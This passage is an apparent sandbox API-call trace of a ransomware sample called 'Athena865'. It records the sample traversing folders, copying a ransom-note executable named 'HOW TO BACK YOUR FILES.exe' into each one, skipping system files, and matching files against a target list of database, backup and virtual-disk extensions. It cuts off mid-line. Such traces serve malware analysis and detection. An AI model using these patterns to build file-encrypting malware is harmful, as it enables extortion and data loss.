dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.821] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1071616) returned 1 [0110.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.822] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.822] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.822] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.822] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x105d00, lpName=0x0) returned 0x154 [0110.824] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x105d00) returned 0x2d50000 [0110.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.885] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.885] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0110.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0110.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0110.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0110.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0110.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0110.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0110.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0110.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0110.886] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0110.895] CloseHandle (hObject=0x154) returned 1 [0110.895] CloseHandle (hObject=0x17c) returned 1 [0110.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0110.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0110.895] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0110.900] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2=".") returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="..") returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="windows") returned -1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="bootmgr") returned 1 [0110.900] lstrcmpiW (lpString1="nb-NO", lpString2="temp") returned -1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="pagefile.sys") returned -1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="boot") returned 1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="ids.txt") returned 1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="ntuser.dat") returned -1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="perflogs") returned -1 [0110.901] lstrcmpiW (lpString1="nb-NO", lpString2="MSBuild") returned 1 [0110.901] lstrlenW (lpString="nb-NO") returned 5 [0110.901] lstrcpyW (in: lpString1=0x241e8ae, lpString2="nb-NO" | out: lpString1="nb-NO") returned="nb-NO" [0110.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547780 [0110.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bd20 [0110.901] lstrcatW (in: lpString1="nb-NO", lpString2="\\" | out: lpString1="nb-NO\\") returned="nb-NO\\" [0110.901] lstrcatW (in: lpString1="nb-NO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="nb-NO\\HOW TO BACK YOUR FILES.exe") returned="nb-NO\\HOW TO BACK YOUR FILES.exe" [0110.901] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.908] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2=".") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="..") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="windows") returned -1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="bootmgr") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="temp") returned -1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="pagefile.sys") returned -1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="boot") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="ids.txt") returned 1 [0110.908] lstrcmpiW (lpString1="nl-NL", lpString2="ntuser.dat") returned -1 [0110.909] lstrcmpiW (lpString1="nl-NL", lpString2="perflogs") returned -1 [0110.909] lstrcmpiW (lpString1="nl-NL", lpString2="MSBuild") returned 1 [0110.909] lstrlenW (lpString="nl-NL") returned 5 [0110.909] lstrcpyW (in: lpString1=0x241e8ae, lpString2="nl-NL" | out: lpString1="nl-NL") returned="nl-NL" [0110.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547798 [0110.909] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bda0 [0110.909] lstrcatW (in: lpString1="nl-NL", lpString2="\\" | out: lpString1="nl-NL\\") returned="nl-NL\\" [0110.909] lstrcatW (in: lpString1="nl-NL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="nl-NL\\HOW TO BACK YOUR FILES.exe") returned="nl-NL\\HOW TO BACK YOUR FILES.exe" [0110.909] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nl-nl\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.912] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2=".") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="..") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="windows") returned -1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="bootmgr") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="temp") returned -1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="pagefile.sys") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="boot") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="ids.txt") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="ntuser.dat") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="perflogs") returned 1 [0110.912] lstrcmpiW (lpString1="pl-PL", lpString2="MSBuild") returned 1 [0110.912] lstrlenW (lpString="pl-PL") returned 5 [0110.912] lstrcpyW (in: lpString1=0x241e8ae, lpString2="pl-PL" | out: lpString1="pl-PL") returned="pl-PL" [0110.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5477b0 [0110.912] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53be20 [0110.912] lstrcatW (in: lpString1="pl-PL", lpString2="\\" | out: lpString1="pl-PL\\") returned="pl-PL\\" [0110.912] lstrcatW (in: lpString1="pl-PL\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="pl-PL\\HOW TO BACK YOUR FILES.exe") returned="pl-PL\\HOW TO BACK YOUR FILES.exe" [0110.912] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.926] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0110.926] lstrcmpiW (lpString1="pt-BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.926] lstrcmpiW (lpString1="pt-BR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.926] lstrcmpiW (lpString1="pt-BR", lpString2=".") returned 1 [0110.926] lstrcmpiW (lpString1="pt-BR", lpString2="..") returned 1 [0110.926] lstrcmpiW (lpString1="pt-BR", lpString2="windows") returned -1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="bootmgr") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="temp") returned -1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="pagefile.sys") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="boot") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="ids.txt") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="ntuser.dat") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="perflogs") returned 1 [0110.927] lstrcmpiW (lpString1="pt-BR", lpString2="MSBuild") returned 1 [0110.927] lstrlenW (lpString="pt-BR") returned 5 [0110.927] lstrcpyW (in: lpString1=0x241e8ae, lpString2="pt-BR" | out: lpString1="pt-BR") returned="pt-BR" [0110.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5477c8 [0110.927] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bea0 [0110.927] lstrcatW (in: lpString1="pt-BR", lpString2="\\" | out: lpString1="pt-BR\\") returned="pt-BR\\" [0110.927] lstrcatW (in: lpString1="pt-BR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="pt-BR\\HOW TO BACK YOUR FILES.exe") returned="pt-BR\\HOW TO BACK YOUR FILES.exe" [0110.927] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.929] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0110.929] lstrcmpiW (lpString1="pt-PT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.929] lstrcmpiW (lpString1="pt-PT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.929] lstrcmpiW (lpString1="pt-PT", lpString2=".") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="..") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="windows") returned -1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="bootmgr") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="temp") returned -1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="pagefile.sys") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="boot") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="ids.txt") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="ntuser.dat") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="perflogs") returned 1 [0110.930] lstrcmpiW (lpString1="pt-PT", lpString2="MSBuild") returned 1 [0110.930] lstrlenW (lpString="pt-PT") returned 5 [0110.930] lstrcpyW (in: lpString1=0x241e8ae, lpString2="pt-PT" | out: lpString1="pt-PT") returned="pt-PT" [0110.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5477e0 [0110.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bf20 [0110.930] lstrcatW (in: lpString1="pt-PT", lpString2="\\" | out: lpString1="pt-PT\\") returned="pt-PT\\" [0110.930] lstrcatW (in: lpString1="pt-PT\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="pt-PT\\HOW TO BACK YOUR FILES.exe") returned="pt-PT\\HOW TO BACK YOUR FILES.exe" [0110.930] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.932] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0110.932] lstrcmpiW (lpString1="ro-RO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2=".") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="..") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="windows") returned -1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="bootmgr") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="temp") returned -1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="pagefile.sys") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="boot") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="ids.txt") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="ntuser.dat") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="perflogs") returned 1 [0110.933] lstrcmpiW (lpString1="ro-RO", lpString2="MSBuild") returned 1 [0110.933] lstrlenW (lpString="ro-RO") returned 5 [0110.933] lstrcpyW (in: lpString1=0x241e8ae, lpString2="ro-RO" | out: lpString1="ro-RO") returned="ro-RO" [0110.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5477f8 [0110.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bfa0 [0110.933] lstrcatW (in: lpString1="ro-RO", lpString2="\\" | out: lpString1="ro-RO\\") returned="ro-RO\\" [0110.933] lstrcatW (in: lpString1="ro-RO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ro-RO\\HOW TO BACK YOUR FILES.exe") returned="ro-RO\\HOW TO BACK YOUR FILES.exe" [0110.933] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.941] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2=".") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="..") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="windows") returned -1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="bootmgr") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="temp") returned -1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="pagefile.sys") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="boot") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="ids.txt") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="ntuser.dat") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="perflogs") returned 1 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2="MSBuild") returned 1 [0110.941] lstrlenW (lpString="rtscom.dll") returned 10 [0110.941] lstrcpyW (in: lpString1=0x241e8ae, lpString2="rtscom.dll" | out: lpString1="rtscom.dll") returned="rtscom.dll" [0110.941] lstrlenW (lpString="rtscom.dll") returned 10 [0110.941] lstrlenW (lpString="Athena865") returned 9 [0110.941] lstrcmpiW (lpString1="tscom.dll", lpString2="Athena865") returned 1 [0110.941] lstrlenW (lpString=".dll") returned 4 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2=".dll") returned 1 [0110.941] lstrlenW (lpString=".lnk") returned 4 [0110.941] lstrcmpiW (lpString1="rtscom.dll", lpString2=".lnk") returned 1 [0110.941] lstrlenW (lpString=".ini") returned 4 [0110.942] lstrcmpiW (lpString1="rtscom.dll", lpString2=".ini") returned 1 [0110.942] lstrlenW (lpString=".sys") returned 4 [0110.942] lstrcmpiW (lpString1="rtscom.dll", lpString2=".sys") returned 1 [0110.942] lstrlenW (lpString="rtscom.dll") returned 10 [0110.942] lstrlenW (lpString="bak") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.942] lstrlenW (lpString="ba_") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.942] lstrlenW (lpString="dbb") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.942] lstrlenW (lpString="vmdk") returned 4 [0110.942] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.942] lstrlenW (lpString="rar") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.942] lstrlenW (lpString="zip") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.942] lstrlenW (lpString="tgz") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.942] lstrlenW (lpString="vbox") returned 4 [0110.942] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.942] lstrlenW (lpString="vdi") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.942] lstrlenW (lpString="vhd") returned 3 [0110.942] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.942] lstrlenW (lpString="vhdx") returned 4 [0110.942] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.942] lstrlenW (lpString="avhd") returned 4 [0110.942] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.942] lstrlenW (lpString="db") returned 2 [0110.943] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.943] lstrlenW (lpString="db2") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.943] lstrlenW (lpString="db3") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.943] lstrlenW (lpString="dbf") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.943] lstrlenW (lpString="mdf") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.943] lstrlenW (lpString="mdb") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.943] lstrlenW (lpString="sql") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.943] lstrlenW (lpString="sqlite") returned 6 [0110.943] lstrcmpiW (lpString1="om.dll", lpString2="sqlite") returned -1 [0110.943] lstrlenW (lpString="sqlite3") returned 7 [0110.943] lstrcmpiW (lpString1="com.dll", lpString2="sqlite3") returned -1 [0110.943] lstrlenW (lpString="sqlitedb") returned 8 [0110.943] lstrcmpiW (lpString1="scom.dll", lpString2="sqlitedb") returned -1 [0110.943] lstrlenW (lpString="xml") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.943] lstrlenW (lpString="$er") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.943] lstrlenW (lpString="4dd") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.943] lstrlenW (lpString="4dl") returned 3 [0110.943] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.943] lstrlenW (lpString="^^^") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.944] lstrlenW (lpString="abs") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.944] lstrlenW (lpString="abx") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.944] lstrlenW (lpString="accdb") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accdb") returned 1 [0110.944] lstrlenW (lpString="accdc") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accdc") returned 1 [0110.944] lstrlenW (lpString="accde") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accde") returned 1 [0110.944] lstrlenW (lpString="accdr") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accdr") returned 1 [0110.944] lstrlenW (lpString="accdt") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accdt") returned 1 [0110.944] lstrlenW (lpString="accdw") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accdw") returned 1 [0110.944] lstrlenW (lpString="accft") returned 5 [0110.944] lstrcmpiW (lpString1="m.dll", lpString2="accft") returned 1 [0110.944] lstrlenW (lpString="adb") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.944] lstrlenW (lpString="adb") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.944] lstrlenW (lpString="ade") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.944] lstrlenW (lpString="adf") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.944] lstrlenW (lpString="adn") returned 3 [0110.944] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.945] lstrlenW (lpString="adp") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.945] lstrlenW (lpString="alf") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.945] lstrlenW (lpString="ask") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.945] lstrlenW (lpString="btr") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.945] lstrlenW (lpString="cat") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.945] lstrlenW (lpString="cdb") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.945] lstrlenW (lpString="ckp") returned 3 [0110.945] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.945] lstrlenW (lpString="cma") returned 3 [0110.945] 